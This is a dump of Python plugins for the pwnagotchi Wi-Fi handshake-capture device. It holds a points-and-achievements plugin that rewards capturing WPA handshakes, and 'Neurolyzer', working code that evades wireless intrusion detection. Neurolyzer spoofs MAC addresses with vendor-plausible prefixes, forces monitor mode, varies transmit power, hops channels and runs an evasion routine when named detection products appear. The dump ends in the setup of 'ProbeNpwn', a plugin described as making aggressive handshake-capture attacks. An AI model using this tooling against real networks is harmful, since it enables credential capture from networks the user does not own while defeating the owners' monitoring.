get_position(key) for key in self.default_positions if key != 'stars'} 210 | 211 | ui.add_element('Age', LabeledValue( 212 | color=BLACK, label='Age', value="Newborn", 213 | position=positions['age'], label_font=fonts.Bold, text_font=fonts.Medium)) 214 | 215 | ui.add_element('Strength', LabeledValue( 216 | color=BLACK, label='Str', value="Rookie", 217 | position=positions['strength'], label_font=fonts.Bold, text_font=fonts.Medium)) 218 | 219 | ui.add_element('Points', LabeledValue( 220 | color=BLACK, label='Pts', value="0", 221 | position=positions['points'], label_font=fonts.Bold, text_font=fonts.Medium)) 222 | 223 | ui.add_element('Progress', LabeledValue( 224 | color=BLACK, label='Next Age', value="[ ]", 225 | position=positions['progress'], label_font=fonts.Bold, text_font=fonts.Medium)) 226 | 227 | if self.show_personality: 228 | ui.add_element('Personality', LabeledValue( 229 | color=BLACK, label='Trait', value="Neutral", 230 | position=positions['personality'], label_font=fonts.Bold, text_font=fonts.Medium)) 231 | 232 | def on_ui_update(self, ui): 233 | """Update UI elements with current values.""" 234 | ui.set('Age', self.get_age_title()) 235 | ui.set('Strength', self.get_strength_title()) 236 | ui.set('Points', self.abrev_number(self.network_points)) 237 | 238 | # Update progress bar for next age title 239 | next_threshold = self.get_next_age_threshold() 240 | if next_threshold: 241 | progress = self.epochs / next_threshold 242 | bar_length = 5 243 | filled = int(progress * bar_length) 244 | bar = '[' + '=' * filled + ' ' * (bar_length - filled) + ']' 245 | ui.set('Progress', bar) 246 | else: 247 | ui.set('Progress', '[MAX]') 248 | 249 | if self.show_personality: 250 | ui.set('Personality', self.get_dominant_personality()) 251 | 252 | def get_next_age_threshold(self): 253 | """Get the next age title threshold.""" 254 | thresholds = sorted(self.age_titles.keys()) 255 | for t in thresholds: 256 | if self.epochs < t: 257 | return t 258 | return None # Max level reached 259 | 260 | def on_epoch(self, agent, epoch, epoch_data): 261 | """Handle epoch events.""" 262 | self.epochs += 1 263 | self.train_epochs += 1 if self.epochs % 10 == 0 else 0 264 | if self.epochs % 10 == 0: 265 | self.personality_points['scholar'] += 1 266 | 267 | logging.debug(f"[Age] Epoch {self.epochs}, Points: {self.network_points}") 268 | 269 | self.apply_decay(agent) 270 | self.check_achievements(agent) 271 | 272 | if self.epochs % 100 == 0: 273 | self.handle_random_event(agent) 274 | self.age_checkpoint(agent) 275 | 276 | self.save_data() 277 | 278 | def handle_random_event(self, agent): 279 | """Trigger a random event with 5% chance every 100 epochs.""" 280 | if random.random() < 0.05: 281 | events = [ 282 | {"description": "Lucky Break: Double points for next 5 handshakes!", "multiplier": 2.0, "handshakes": 5}, 283 | {"description": "Signal Noise: Next handshake worth half points.", "multiplier": 0.5, "handshakes": 1}, 284 | ] 285 | self.active_event = random.choice(events) 286 | self.event_handshakes_left = self.active_event["handshakes"] 287 | self.event_multiplier = self.active_event["multiplier"] 288 | agent.view().set('status', self.active_event["description"]) 289 | logging.info(f"[Age] Random event: {self.active_event['description']}") 290 | 291 | def age_checkpoint(self, agent): 292 | """Display milestone message every 100 epochs.""" 293 | view = agent.view() 294 | view.set('face', faces.HAPPY) 295 | view.set('status', f"Epoch milestone: {self.epochs} epochs!") 296 | view.update(force=True) 297 | 298 | def on_handshake(self, agent, *args): 299 | """Handle handshake events with streaks and secret achievements.""" 300 | try: 301 | if len(args) < 3: 302 | logging.warning("[Age] Insufficient arguments in on_handshake") 303 | return 304 | 305 | ap = args[2] 306 | if isinstance(ap, dict): 307 | enc = ap.get('encryption', '').lower() 308 | essid = ap.get('essid', 'unknown') 309 | else: 310 | logging.warning(f"[Age] AP is a string: {ap}") 311 | return 312 | 313 | # Base points 314 | points = self.points_map.get(enc, 1) 315 | 316 | # Apply streak bonus 317 | self.streak += 1 318 | streak_threshold = 5 319 | streak_bonus = 1.2 320 | if self.streak >= streak_threshold: 321 | points *= streak_bonus 322 | agent.view().set('status', f"Streak bonus! +{int((streak_bonus - 1) * 100)}% points") 323 | 324 | # Apply random event multiplier 325 | if self.active_event and self.event_handshakes_left > 0: 326 | points *= self.event_multiplier 327 | self.event_handshakes_left -= 1 328 | if self.event_handshakes_left == 0: 329 | self.active_event = None 330 | self.event_multiplier = 1.0 331 | 332 | points = int(points) 333 | self.network_points += points 334 | self.handshake_count += 1 335 | self.last_active_epoch = self.epochs 336 | self.last_handshake_enc = enc 337 | self.personality_points['aggro'] += 1 338 | 339 | # Secret achievements 340 | current_hour = time.localtime().tm_hour 341 | if 2 <= current_hour < 4: 342 | self.night_owl_handshakes += 1 343 | if self.night_owl_handshakes == 10: 344 | agent.view().set('status', "Achievement Unlocked: Night Owl!") 345 | self.network_points += 50 # Bonus 346 | 347 | self.enc_types_captured.add(enc) 348 | if self.enc_types_captured == set(self.points_map.keys()): 349 | agent.view().set('status', "Achievement Unlocked: Crypto King!") 350 | self.network_points += 100 # Bonus 351 | 352 | # Log handshake 353 | with open(self.log_path, 'a') as f: 354 | f.write(f"{time.time()},{essid},{enc},{points}\n") 355 | 356 | logging.info(f"[Age] Handshake: {essid}, enc: {enc}, points: {points}, streak: {self.streak}") 357 | 358 | self.save_data() 359 | except Exception as e: 360 | logging.error(f"[Age] Handshake error: {str(e)}") 361 | 362 | def load_data(self): 363 | """Load saved data from JSON file.""" 364 | try: 365 | if os.path.exists(self.data_path): 366 | with open(self.data_path, 'r') as f: 367 | data = json.load(f) 368 | self.epochs = data.get('epochs', 0) 369 | self.train_epochs = data.get('train_epochs', 0) 370 | self.network_points = data.get('points', 0) 371 | self.handshake_count = data.get('handshakes', 0) 372 | self.last_active_epoch = data.get('last_active', 0) 373 | self.prev_age_title = data.get('prev_age', self.get_age_title()) 374 | self.prev_strength_title = data.get('prev_strength', self.get_strength_title()) 375 | self.streak = data.get('streak', 0) 376 | self.night_owl_handshakes = data.get('night_owl_handshakes', 0) 377 | self.enc_types_captured = set(data.get('enc_types_captured', [])) 378 | for trait in ['aggro', 'stealth', 'scholar']: 379 | self.personality_points[trait] = data.get(f'personality_{trait}', 0) 380 | except Exception as e: 381 | logging.error(f"[Age] Load error: {str(e)}") 382 | 383 | def save_data(self): 384 | """Save current data to JSON file with thread safety.""" 385 | data = { 386 | 'epochs': self.epochs, 387 | 'train_epochs': self.train_epochs, 388 | 'points': self.network_points, 389 | 'handshakes': self.handshake_count, 390 | 'last_active': self.last_active_epoch, 391 | 'prev_age': self.get_age_title(), 392 | 'prev_strength': self.get_strength_title(), 393 | 'streak': self.streak, 394 | 'night_owl_handshakes': self.night_owl_handshakes, 395 | 'enc_types_captured': list(self.enc_types_captured), 396 | 'personality_aggro': self.personality_points['aggro'], 397 | 'personality_stealth': self.personality_points['stealth'], 398 | 'personality_scholar': self.personality_points['scholar'], 399 | } 400 | with self.data_lock: 401 | try: 402 | with open(self.data_path, 'w') as f: 403 | json.dump(data, f, indent=2) 404 | except Exception as e: 405 | logging.error(f"[Age] Save error: {str(e)}") 406 | 407 | def get_dominant_personality(self): 408 | """Determine dominant personality trait.""" 409 | if not any(self.personality_points.values()): 410 | return "Neutral" 411 | dominant = max(self.personality_points, key=self.personality_points.get) 412 | return dominant.capitalize() 413 | 414 | def abrev_number(self, num): 415 | """Abbreviate large numbers.""" 416 | for unit in ['','K','M','B']: 417 | if abs(num) < 1000: 418 | return f"{num:.1f}{unit}".rstrip('.0') 419 | num /= 1000.0 420 | return f"{num:.1f}T" 421 | -------------------------------------------------------------------------------- /neurolyzer.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import subprocess 3 | import time 4 | import random 5 | import os 6 | import re 7 | import fcntl 8 | 9 | import pwnagotchi.plugins as plugins 10 | from pwnagotchi.ui.components import LabeledValue 11 | from pwnagotchi.ui.view import BLACK 12 | import pwnagotchi.ui.fonts as fonts 13 | 14 | class Neurolyzer(plugins.Plugin): 15 | __author__ = 'AlienMajik' 16 | __version__ = '1.5.2' 17 | __license__ = 'GPL3' 18 | __description__ = "Advanced WIDS/WIPS evasion system with hardware-aware adaptive countermeasures" 19 | 20 | DEFAULT_OUI = [ 21 | '00:14:22', '34:AB:95', 'DC:A6:32', 22 | '00:1A:11', '08:74:02', '50:32:37' 23 | ] 24 | DEFAULT_WIDS = ['wids-guardian', 'airdefense', 'cisco-ips', 'cisco-awips', 'fortinet-wids', 'aruba-widp', 'kismet'] 25 | SAFE_CHANNELS = [1, 6, 11] 26 | MIN_MAC_CHANGE_INTERVAL = 30 # Minimum seconds between MAC changes 27 | LOCK_FILE = '/tmp/neurolyzer.lock' 28 | 29 | def __init__(self): 30 | self.enabled = False 31 | self.wifi_interface = 'wlan0' 32 | self.operation_mode = 'stealth' 33 | self.mac_change_interval = 3600 # Default interval 34 | self.last_operations = { 35 | 'mac_change': 0, 36 | 'wids_check': 0, 37 | 'channel_hop': 0, 38 | 'tx_power_change': 0 39 | } 40 | 41 | # Hardware capabilities cache 42 | self.hw_caps = { 43 | 'tx_power': {'min': 1, 'max': 20, 'supported': True}, 44 | 'supported_channels': self.SAFE_CHANNELS, 45 | 'monitor_mode': True, 46 | 'mac_spoofing': True, 47 | 'iproute2': True 48 | } 49 | 50 | # State tracking 51 | self.current_channel = 1 52 | self.current_tx_power = 20 53 | self.probe_blacklist = [] 54 | self.current_mac = None 55 | self.lock_fd = None 56 | 57 | # UI configuration 58 | self.ui_config = { 59 | 'mode': (0, 0), 60 | 'mac_timer': (0, 10), 61 | 'tx_power': (0, 20), 62 | 'channel': (0, 30) 63 | } 64 | 65 | def _acquire_lock(self): 66 | """Acquire exclusive lock for atomic operations""" 67 | try: 68 | self.lock_fd = open(self.LOCK_FILE, 'w') 69 | fcntl.flock(self.lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB) 70 | return True 71 | except (IOError, BlockingIOError): 72 | return False 73 | 74 | def _release_lock(self): 75 | """Release exclusive lock""" 76 | if self.lock_fd: 77 | try: 78 | fcntl.flock(self.lock_fd, fcntl.LOCK_UN) 79 | self.lock_fd.close() 80 | os.remove(self.LOCK_FILE) 81 | except: 82 | pass 83 | 84 | def _execute(self, command, critical=False, retries=2, timeout=8): 85 | """Robust command execution with retries and alternate methods""" 86 | methods = [ 87 | command, 88 | ['iwconfig' if cmd == 'iw' else cmd for cmd in command] # Fallback to iwconfig 89 | ] 90 | 91 | for attempt in range(retries + 1): 92 | for method in methods: 93 | try: 94 | result = subprocess.run( 95 | ['sudo'] + method, 96 | check=True, 97 | stdout=subprocess.PIPE, 98 | stderr=subprocess.PIPE, 99 | text=True, 100 | timeout=timeout 101 | ) 102 | return result 103 | except subprocess.CalledProcessError as e: 104 | error = e.stderr.strip() 105 | if attempt == retries: 106 | if "Device or resource busy" in error: 107 | logging.debug(f"[Neurolyzer] Interface busy, retrying {method[0]}") 108 | time.sleep(random.uniform(0.5, 1.5)) 109 | continue 110 | if "Operation not supported" in error: 111 | self._update_hw_capability(method[0], False) 112 | logging.debug(f"[Neurolyzer] Attempt {attempt+1} failed: {' '.join(method)} - {error}") 113 | except Exception as e: 114 | logging.debug(f"[Neurolyzer] Unexpected error: {str(e)}") 115 | return None 116 | 117 | def _update_hw_capability(self, feature, supported): 118 | """Dynamically adjust hardware capabilities""" 119 | if feature == 'txpower': 120 | self.hw_caps['tx_power']['supported'] = supported 121 | elif feature == 'mac': 122 | self.hw_caps['mac_spoofing'] = supported 123 | elif feature == 'iproute2': 124 | self.hw_caps['iproute2'] = supported 125 | 126 | def _current_tx_power(self): 127 | """Get current TX power level""" 128 | try: 129 | result = self._execute(['iw', 'dev', self.wifi_interface, 'get', 'txpower']) 130 | if result: 131 | match = re.search(r'txpower (\d+) dBm', result.stdout) 132 | return int(match.group(1)) if match else self.current_tx_power 133 | return self.current_tx_power 134 | except Exception as e: 135 | logging.debug(f"[Neurolyzer] TX power read failed: {str(e)}") 136 | return self.current_tx_power 137 | 138 | def _safe_mac_change(self): 139 | """Atomic MAC rotation with locking""" 140 | if time.time() - self.last_operations['mac_change'] < self.MIN_MAC_CHANGE_INTERVAL: 141 | return 142 | 143 | if not self._acquire_lock(): 144 | logging.debug("[Neurolyzer] MAC change skipped - operation in progress") 145 | return 146 | 147 | try: 148 | original_mac = self._get_current_mac() 149 | new_mac = self._generate_valid_mac() 150 | 151 | # Use alternate method if primary fails 152 | sequence = [ 153 | ['ip', 'link', 'set', 'dev', self.wifi_interface, 'down'], 154 | ['ip', 'link', 'set', 'dev', self.wifi_interface, 'address', new_mac], 155 | ['ip', 'link', 'set', 'dev', self.wifi_interface, 'up'], 156 | ['ifconfig', self.wifi_interface, 'down'], 157 | ['ifconfig', self.wifi_interface, 'hw', 'ether', new_mac], 158 | ['ifconfig', self.wifi_interface, 'up'] 159 | ] 160 | 161 | for cmd in sequence[:3] if self.hw_caps['iproute2'] else sequence[3:]: 162 | if not self._execute(cmd): 163 | break 164 | else: 165 | verified_mac = self._get_current_mac() 166 | if verified_mac.lower() != new_mac.lower(): # Case-insensitive comparison 167 | logging.error(f"[Neurolyzer] MAC verification failed (expected: {new_mac.lower()}, got: {verified_mac.lower()})") 168 | self._release_lock() 169 | return 170 | 171 | self.last_operations['mac_change'] = time.time() 172 | self.current_mac = new_mac 173 | logging.info(f"[Neurolyzer] MAC rotated to {new_mac.lower()}") # Log in lowercase for consistency 174 | 175 | except Exception as e: 176 | logging.error(f"[Neurolyzer] MAC rotation failed: {str(e)}") 177 | finally: 178 | self._release_lock() 179 | 180 | def _adjust_tx_power(self): 181 | """Hardware-adaptive TX power control""" 182 | if not self.hw_caps['tx_power']['supported']: 183 | return 184 | 185 | try: 186 | current_power = self._current_tx_power() 187 | valid_powers = [p for p in self.options.get('tx_power_levels', []) 188 | if self.hw_caps['tx_power']['min'] <= p <= self.hw_caps['tx_power']['max']] 189 | 190 | if valid_powers: 191 | new_power = random.choice(valid_powers) 192 | if new_power != current_power: 193 | # Try multiple control methods 194 | self._execute(['iw', 'dev', self.wifi_interface, 'set', 'txpower', 'fixed', str(new_power)]) or \ 195 | self._execute(['iwconfig', self.wifi_interface, 'txpower', str(new_power)]) 196 | except Exception as e: 197 | logging.debug(f"[Neurolyzer] TX power adjustment skipped: {str(e)}") 198 | 199 | def _throttle_traffic(self): 200 | """Compatibility-focused traffic shaping""" 201 | try: 202 | # Try modern qdisc 203 | result = self._execute([ 204 | 'tc', 'qdisc', 'replace', 'dev', self.wifi_interface, 205 | 'root', 'netem', 'delay', '100ms', '10ms', 'distribution', 'normal' 206 | ]) 207 | if not result: 208 | # Fallback to simple shaping 209 | self._execute([ 210 | 'tc', 'qdisc', 'replace', 'dev', self.wifi_interface, 211 | 'root', 'pfifo', 'limit', '1000' 212 | ]) 213 | except Exception as e: 214 | logging.debug(f"[Neurolyzer] Traffic shaping unavailable: {str(e)}") 215 | 216 | def _validate_interface(self): 217 | """Ensure interface exists and is ready""" 218 | retries = 0 219 | while retries < 3: 220 | if os.path.exists(f'/sys/class/net/{self.wifi_interface}'): 221 | return True 222 | logging.warning(f"[Neurolyzer] Interface missing, retrying... ({retries+1}/3)") 223 | time.sleep(2 ** retries) 224 | retries += 1 225 | return False 226 | 227 | def on_loaded(self): 228 | if not hasattr(self, 'options'): 229 | logging.warning("[Neurolyzer] Options not provided by framework, using defaults") 230 | self.options = {} 231 | else: 232 | logging.debug("[Neurolyzer] Options loaded: {}".format(self.options)) 233 | 234 | valid_modes = ['normal', 'stealth', 'noided'] 235 | self.operation_mode = self.options.get('operation_mode', 'stealth') 236 | if self.operation_mode not in valid_modes: 237 | logging.error(f"[Neurolyzer] Invalid mode: {self.operation_mode}") 238 | self.enabled = False 239 | return 240 | 241 | self.wifi_interface = self.options.get('wifi_interface', 'wlan0') 242 | self.mac_change_interval = self.options.get('mac_change_interval', 3600) 243 | self.enabled = self.options.get('enabled', True) 244 | 245 | # Enhanced initialization sequence 246 | try: 247 | if not self._validate_interface(): 248 | raise RuntimeError("Network interface unavailable") 249 | 250 | # Dynamic capability discovery 251 | self._discover_hardware_capabilities() 252 | 253 | # Fallback to sane defaults if detection failed 254 | if not self.hw_caps['supported_channels']: 255 | self.hw_caps['supported_channels'] = self.SAFE_CHANNELS 256 | 257 | if not self.hw_caps['tx_power']['supported']: 258 | self.hw_caps['tx_power'] = {'min': 1, 'max': 20, 'supported': False} 259 | 260 | self._apply_initial_config() 261 | logging.info(f"[Neurolyzer] Active in {self.operation_mode} mode") 262 | 263 | except Exception as e: 264 | logging.error(f"[Neurolyzer] Initialization failed: {str(e)}") 265 | self.enabled = False 266 | 267 | def _discover_hardware_capabilities(self): 268 | """Comprehensive hardware capability discovery""" 269 | try: 270 | # Get interface info 271 | info = self._execute(['iw', 'dev', self.wifi_interface, 'info']) 272 | if not info: 273 | raise RuntimeError("Interface information unavailable") 274 | 275 | # TX power capabilities 276 | tx_info = self._execute(['iw', 'dev', self.wifi_interface, 'get', 'txpower']) 277 | if tx_info: 278 | tx_matches = re.findall(r'(\d+) dBm', tx_info.stdout) 279 | if tx_matches: 280 | self.hw_caps['tx_power']['min'] = min(int(m) for m in tx_matches) 281 | self.hw_caps['tx_power']['max'] = max(int(m) for m in tx_matches) 282 | else: 283 | self.hw_caps['tx_power']['supported'] = False 284 | 285 | # Supported channels 286 | phy_match = re.search(r'phy#(\d+)', info.stdout) 287 | if phy_match: 288 | phy = phy_match.group(1) 289 | chan_info = self._execute(['iw', 'phy', phy, 'info']) 290 | if chan_info: 291 | self.hw_caps['supported_channels'] = [ 292 | int(m) for m in re.findall(r'(\d+) MHz', chan_info.stdout) 293 | ] 294 | 295 | # Monitor mode support 296 | self.hw_caps['monitor_mode'] = 'monitor' in info.stdout 297 | 298 | # MAC spoofing test 299 | self.hw_caps['mac_spoofing'] = self._test_mac_spoofing() 300 | 301 | except Exception as e: 302 | logging.error(f"[Neurolyzer] Hardware discovery failed: {str(e)}") 303 | self.enabled = False 304 | 305 | def _test_mac_spoofing(self): 306 | """Verify MAC address spoofing capability""" 307 | try: 308 | original_mac = self._get_current_mac() 309 | test_mac = '00:11:22:33:44:55' 310 | 311 | # Try to change MAC 312 | self._execute(['ip', 'link', 'set', 'dev', self.wifi_interface, 'down']) 313 | self._execute(['ip', 'link', 'set', 'dev', self.wifi_interface, 'address', test_mac]) 314 | self._execute(['ip', 'link', 'set', 'dev', self.wifi_interface, 'up']) 315 | 316 | # Verify change 317 | new_mac = self._get_current_mac() 318 | 319 | # Restore original MAC 320 | self._execute(['ip', 'link', 'set', 'dev', self.wifi_interface, 'down']) 321 | self._execute(['ip', 'link', 'set', 'dev', self.wifi_interface, 'address', original_mac]) 322 | self._execute(['ip', 'link', 'set', 'dev', self.wifi_interface, 'up']) 323 | 324 | return new_mac.lower() == test_mac.lower() 325 | except: 326 | return False 327 | 328 | def _get_current_mac(self): 329 | """Get current MAC address""" 330 | try: 331 | with open(f'/sys/class/net/{self.wifi_interface}/address') as f: 332 | return f.read().strip() 333 | except: 334 | return None 335 | 336 | def _apply_initial_config(self): 337 | """Initial setup with error protection""" 338 | if not self._validate_interface(): 339 | raise RuntimeError("Network interface not available") 340 | 341 | if self.operation_mode == 'noided': 342 | self._safe_mac_change() 343 | self._set_interface_mode('monitor') 344 | self._adjust_tx_power() 345 | self._channel_hop() 346 | self._sanitize_probes() 347 | self._throttle_traffic() 348 | 349 | def on_ui_setup(self, ui): 350 | if not self.enabled: 351 | return 352 | 353 | elements = [ 354 | ('neuro_mode', 'Mode:', 'mode', self.operation_mode.capitalize()), 355 | ('neuro_mac', 'Next MAC:', 'mac_timer', 'Calculating...'), 356 | ('neuro_tx', 'TX:', 'tx_power', f'{self.current_tx_power}dBm'), 357 | ('neuro_chan', 'CH:', 'channel', str(self.current_channel)) 358 | ] 359 | 360 | for elem_id, label, pos_key, value in elements: 361 | if pos_key in self.ui_config: 362 | ui.add_element(elem_id, LabeledValue( 363 | color=BLACK, 364 | label=label, 365 | value=value, 366 | position=self.ui_config[pos_key], 367 | label_font=fonts.Small, 368 | text_font=fonts.Small 369 | )) 370 | 371 | def on_ui_update(self, ui): 372 | if not self.enabled: 373 | return 374 | 375 | ui.set('neuro_mode', self.operation_mode.capitalize()) 376 | ui.set('neuro_mac', f"{self._next_mac_time()}m") 377 | ui.set('neuro_tx', f"{self.current_tx_power}dBm") 378 | ui.set('neuro_chan', str(self.current_channel)) 379 | 380 | def on_wifi_update(self, agent, access_points): 381 | if self.enabled: 382 | if self.operation_mode == 'noided': 383 | # Keep existing behavior for noided mode 384 | self._safe_mac_change() 385 | self._channel_hop() 386 | self._adjust_tx_power() 387 | self._sanitize_probes() 388 | self._throttle_traffic() 389 | elif self.operation_mode == 'stealth': 390 | # Only perform MAC randomization in stealth mode 391 | self._safe_mac_change() 392 | 393 | def _check_wids(self, access_points): 394 | """WIDS detection with multiple fingerprint checks""" 395 | if time.time() - self.last_operations['wids_check'] < 300: 396 | return 397 | 398 | wids_triggers = set(wids.lower() for wids in self.options.get('wids_ssids', self.DEFAULT_WIDS)) 399 | 400 | for ap in access_points: 401 | essid = ap.get('essid', '') 402 | if essid.lower() in wids_triggers: 403 | logging.warning(f"[Neurolyzer] WIDS detected: {essid}") 404 | self._evasion_protocol() 405 | break 406 | 407 | self.last_operations['wids_check'] = time.time() 408 | 409 | def _evasion_protocol(self): 410 | """Execute coordinated evasion measures""" 411 | logging.info("[Neurolyzer] Initiating evasion sequence") 412 | measures = [ 413 | self._safe_mac_change, 414 | self._channel_hop, 415 | self._adjust_tx_power, 416 | lambda: time.sleep(random.randint(10, 30)) 417 | ] 418 | 419 | try: 420 | for measure in random.sample(measures, k=3): 421 | measure() 422 | except Exception as e: 423 | logging.error(f"[Neurolyzer] Evasion protocol failed: {str(e)}") 424 | 425 | def _generate_valid_mac(self): 426 | """Create manufacturer-plausible MAC address""" 427 | try: 428 | if self.operation_mode == 'noided': 429 | oui = random.choice(self.DEFAULT_OUI).replace(':', '') 430 | return f"{oui[:2]}:{oui[2:4]}:{oui[4:6]}:" \ 431 | f"{random.randint(0,255):02x}:" \ 432 | f"{random.randint(0,255):02x}:" \ 433 | f"{random.randint(0,255):02x}" 434 | return ':'.join(f"{random.randint(0,255):02x}" for _ in range(6)) 435 | except Exception as e: 436 | logging.error(f"[Neurolyzer] MAC generation failed: {str(e)}") 437 | return '00:00:00:00:00:00' 438 | 439 | def _channel_hop(self): 440 | """Channel selection with interference avoidance""" 441 | try: 442 | if time.time() - self.last_operations['channel_hop'] < 60: 443 | return 444 | 445 | safe_channels = [c for c in self.SAFE_CHANNELS if c in self.hw_caps['supported_channels']] 446 | valid_channels = safe_channels or self.hw_caps['supported_channels'][-3:] 447 | 448 | if valid_channels: 449 | new_channel = random.choice(valid_channels) 450 | if self._execute(['iw', 'dev', self.wifi_interface, 'set', 'channel', str(new_channel)]): 451 | self.current_channel = new_channel 452 | self.last_operations['channel_hop'] = time.time() 453 | except Exception as e: 454 | logging.error(f"[Neurolyzer] Channel hop failed: {str(e)}") 455 | 456 | def _set_interface_mode(self, mode): 457 | """Safe mode transition with validation""" 458 | try: 459 | if mode not in ['managed', 'monitor'] or not self.hw_caps['monitor_mode']: 460 | return 461 | 462 | current_mode = self._current_interface_mode() 463 | if current_mode != mode: 464 | if self._execute(['iw', 'dev', self.wifi_interface, 'set', 'type', mode]): 465 | logging.debug(f"[Neurolyzer] Interface mode set to {mode}") 466 | except Exception as e: 467 | logging.error(f"[Neurolyzer] Mode change failed: {str(e)}") 468 | 469 | def _current_interface_mode(self): 470 | """Detect current interface mode safely""" 471 | try: 472 | info = self._execute(['iw', 'dev', self.wifi_interface, 'info']) 473 | return 'monitor' if info and 'monitor' in info.stdout else 'managed' 474 | except: 475 | return 'managed' 476 | 477 | def _sanitize_probes(self): 478 | """Filter sensitive probe requests""" 479 | try: 480 | if self.probe_blacklist: 481 | with open('/tmp/neuro_filter', 'w') as f: 482 | f.write('\n'.join(self.probe_blacklist)) 483 | 484 | self._execute([ 485 | 'hcxdumptool', '-i', self.wifi_interface, 486 | '--filterlist=/tmp/neuro_filter', '--filtermode=2' 487 | ]) 488 | except Exception as e: 489 | logging.error(f"[Neurolyzer] Probe filtering error: {str(e)}") 490 | 491 | def _throttle_traffic(self): 492 | """Limit packet rates for stealth""" 493 | try: 494 | self._execute([ 495 | 'tc', 'qdisc', 'replace', 496 | 'dev', self.wifi_interface, 'root', 'pfifo_fast', 'limit', '100' 497 | ]) 498 | except Exception as e: 499 | logging.error(f"[Neurolyzer] Traffic shaping failed: {str(e)}") 500 | 501 | def _random_operation(self): 502 | """Randomize operational parameters safely""" 503 | try: 504 | actions = [ 505 | self._adjust_tx_power, 506 | self._channel_hop, 507 | self._safe_mac_change, 508 | lambda: None 509 | ] 510 | random.choice(actions)() 511 | except Exception as e: 512 | logging.error(f"[Neurolyzer] Random operation failed: {str(e)}") 513 | 514 | def _next_mac_time(self): 515 | try: 516 | return max(0, int((self.last_operations['mac_change'] + self.mac_change_interval - time.time()) // 60)) 517 | except: 518 | return 0 519 | 520 | def on_unload(self, ui=None): 521 | """Enhanced cleanup with resource release""" 522 | try: 523 | if self.enabled: 524 | logging.info("[Neurolyzer] Restoring network configurations") 525 | self._execute(['tc', 'qdisc', 'del', 'dev', self.wifi_interface, 'root']) 526 | self._set_interface_mode('monitor') 527 | except Exception as e: 528 | logging.error(f"[Neurolyzer] Cleanup failed: {str(e)}") 529 | finally: 530 | self._release_lock() 531 | 532 | 533 | -------------------------------------------------------------------------------- /probenpwn.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import time 3 | import threading 4 | import os 5 | import subprocess 6 | import random 7 | import pwnagotchi.plugins as plugins 8 | import pwnagotchi.ui.components as components 9 | from concurrent.futures import ThreadPoolExecutor 10 | from queue import PriorityQueue 11 | import psutil 12 | 13 | class ProbeNpwn(plugins.Plugin): 14 | __author__ = 'AlienMajik' 15 | __version__ = '1.3.0' # Updated version for enhancements 16 | __license__ = 'GPL3' 17 | __description__ = ( 18 | 'Aggressively capture handshakes with two modes: Tactical (smart and efficient) and Maniac ' 19 | '(unrestricted, rapid attacks). Enhanced with client scoring, adaptive attacks, ML-based ' 20 | 'channel hopping, intelligent retries, and resource management.' 21 | ) 22 | 23 | def __init__(self): 24 | logging.debug("ProbeNpwn plugin created") 25 | self.old_name = None 26 | self.recents = {} 27 | self.executor = None # Initialized in on_loaded with dynamic max_workers 28 | self._watchdog_thread = None 29 | self._watchdog_thread_running = True 30 | self.attack_attempts = {} 31 | self.success_counts = {} 32 | self.total_handshakes = 0 33 | self.failed_handshakes = 0 34 | self.performance_stats = {} 35 | self.whitelist = set() 36 | self.cooldowns = {} 37 | self.epoch_duration = 60 38 | self.ap_clients = {} 39 | self.channel_activity = {} 40 | self.client_scores = {} 41 | self.ap_client_groups = {} 42 | self.mode = "tactical" 43 | self.retry_queue = PriorityQueue() # For intelligent retry logic 44 | self.handshake_db = set() # For deduplication 45 | self.attacks_x = 10 46 | self.attacks_y = 20 47 | self.success_x = 10 48 | self.success_y = 30 49 | self.handshakes_x = 10 50 | self.handshakes_y = 40 51 | self.ui_initialized = False 52 | 53 | ### Lifecycle Methods 54 | 55 | def on_loaded(self): 56 | """Log plugin load and initialize executor with dynamic concurrency.""" 57 | logging.info("Plugin ProbeNpwn loaded") 58 | self.executor = ThreadPoolExecutor(max_workers=self.get_dynamic_max_workers()) 59 | 60 | def on_config_changed(self, config): 61 | """Load configuration settings.""" 62 | self.whitelist = set(config["main"].get("whitelist", [])) 63 | self.verbose = config.get("main", {}).get("plugins", {}).get("probenpwn", {}).get("verbose", False) 64 | logging.getLogger().setLevel(logging.INFO if self.verbose else logging.WARNING) 65 | self.old_name = config.get("main").get("name", "") 66 | self.mode = config["main"]["plugins"]["probenpwn"].get("mode", "tactical") 67 | self.attacks_x = config["main"]["plugins"]["probenpwn"].get("attacks_x_coord", 10) 68 | self.attacks_y = config["main"]["plugins"]["probenpwn"].get("attacks_y_coord", 20) 69 | self.success_x = config["main"]["plugins"]["probenpwn"].get("success_x_coord", 10) 70 | self.success_y = config["main"]["plugins"]["probenpwn"].get("success_y_coord", 30) 71 | self.handshakes_x = config["main"]["plugins"]["probenpwn"].get("handshakes_x_coord", 10) 72 | self.handshakes_y = config["main"]["plugins"]["probenpwn"].get("handshakes_y_coord", 40) 73 | 74 | def on_unload(self, ui): 75 | """Clean up resources.""" 76 | with ui._lock: 77 | if self.old_name: 78 | ui.set('name', f"{self.old_name}>") 79 | ui.remove_element('attacks') 80 | ui.remove_element('success') 81 | ui.remove_element('handshakes') 82 | self._watchdog_thread_running = False 83 | if self._watchdog_thread: 84 | self._watchdog_thread.join() 85 | self.executor.shutdown(wait=True) 86 | logging.info("Probing out.") 87 | 88 | ### UI Methods 89 | 90 | def on_ui_setup(self, ui): 91 | """Set up UI elements.""" 92 | if not self.ui_initialized: 93 | ui.add_element('attacks', components.Text(position=(self.attacks_x, self.attacks_y), value='Attacks: 0', color=255)) 94 | ui.add_element('success', components.Text(position=(self.success_x, self.success_y), value='Success: 0.0%', color=255)) 95 | ui.add_element('handshakes', components.Text(position=(self.handshakes_x, self.handshakes_y), value='Handshakes: 0', color=255)) 96 | self.ui_initialized = True 97 | 98 | def on_ui_update(self, ui): 99 | """Update UI with stats.""" 100 | total_attempts = sum(self.attack_attempts.values()) 101 | total_successes = sum(self.success_counts.values()) 102 | success_rate = (total_successes / total_attempts) * 100 if total_attempts > 0 else 0.0 103 | with ui._lock: 104 | ui.set('attacks', f"Attacks: {total_attempts}") 105 | ui.set('success', f"Success: {success_rate:.1f}%") 106 | ui.set('handshakes', f"Handshakes: {self.total_handshakes}") 107 | 108 | ### Core Functionality 109 | 110 | def on_ready(self, agent): 111 | """Start watchdog and set status.""" 112 | logging.info("Probed and Pwnd!") 113 | agent.run("wifi.clear") 114 | self._watchdog_thread = threading.Thread(target=self._watchdog, args=(agent,), daemon=True) 115 | self._watchdog_thread.start() 116 | 